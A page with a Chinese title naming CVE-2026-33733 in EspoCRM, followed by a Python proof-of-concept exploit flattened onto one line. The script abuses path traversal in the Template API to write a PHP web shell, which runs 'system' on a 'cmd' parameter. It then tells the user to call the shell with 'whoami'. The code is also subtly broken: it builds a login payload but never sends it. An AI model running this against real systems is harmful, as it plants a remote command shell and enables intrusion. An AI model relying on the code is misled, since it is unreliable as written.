CVE-2026-33733 EspoCRM 路径遍历致任意文件读写漏洞

import requests """ PoC for CVE-2026-33733 (EspoCRM Path Traversal) This script attempts to write an arbitrary file using path traversal. """ def exploit(target_url, username, password): session = requests.Session() # Authenticate as admin login_payload = { "username": username, "password": password } login_url = f"{target_url}/api/v1/App/user" # Note: Actual login endpoint flow may vary based on EspoCRM configuration headers = { "Content-Type": "application/json" } # Target endpoint for template management # Vulnerable parameter: 'name' and 'scope' template_url = f"{target_url}/api/v1/Template" # Payload to write to a file outside the template directory # Using '../' to traverse directories exploit_data = { "name": "../../custom/hacked_body.tpl", # Path traversal payload "scope": "Global", "body": "<?php echo system($_GET['cmd']); ?>" # Malicious content } try: # Sending the malicious request response = session.post(template_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File likely written.") print(f"[+] Check file at: {target_url}/custom/hacked_body.tpl?cmd=whoami") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage target = "http://localhost/espocrm" user = "admin" pwd = "password" exploit(target, user, pwd)